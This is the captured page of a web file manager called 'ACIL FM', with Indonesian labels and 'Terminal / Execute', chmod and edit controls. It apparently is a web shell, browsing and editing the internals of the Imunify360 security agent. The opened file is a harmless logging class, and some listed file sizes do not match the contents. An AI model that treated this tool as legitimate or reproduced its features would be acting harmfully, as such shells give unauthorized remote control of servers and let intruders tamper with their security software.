ACIL FM
Dark
Refresh
Current DIR:
/opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/internals
/
opt
imunify360
venv
lib
python3.11
site-packages
defence360agent
internals
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
__pycache__
-
chmod
Open
Rename
Delete
auth_protocol.py
1.18 MB
chmod
View
DL
Edit
Rename
Delete
cln.py
13.44 MB
chmod
View
DL
Edit
Rename
Delete
deadlock_detecting_lock.py
755 B
chmod
View
DL
Edit
Rename
Delete
global_scope.py
462 B
chmod
View
DL
Edit
Rename
Delete
iaid.py
14.06 MB
chmod
View
DL
Edit
Rename
Delete
lazy_load.py
195 B
chmod
View
DL
Edit
Rename
Delete
logger.py
16.69 MB
chmod
View
DL
Edit
Rename
Delete
logging_protocol.py
1.07 MB
chmod
View
DL
Edit
Rename
Delete
persistent_message.py
3.02 MB
chmod
View
DL
Edit
Rename
Delete
the_sink.py
11.1 MB
chmod
View
DL
Edit
Rename
Delete
__init__.py
0 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/internals/logging_protocol.py
import asyncio class LoggingProtocol(asyncio.Protocol): def __init__(self, logger, network_logger, real_protocol): self._logger = logger self._network_logger = network_logger self._real_protocol = real_protocol def connection_made(self, transport): self._network_logger.debug("Connection made.") self._handle(lambda: self._real_protocol.connection_made(transport)) def connection_lost(self, exc): self._network_logger.debug("Connection lost.") self._handle(lambda: self._real_protocol.connection_lost(exc)) def datagram_received(self, data, addr): self._network_logger.debug("datagram_received: {!r}".format(data)) self._handle(lambda: self._real_protocol.datagram_received(data, addr)) def data_received(self, data): self._network_logger.debug("data_received: {!r}".format(data)) self._handle(lambda: self._real_protocol.data_received(data)) def _handle(self, impl): try: impl() except Exception as e: self._logger.exception(str(e))
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply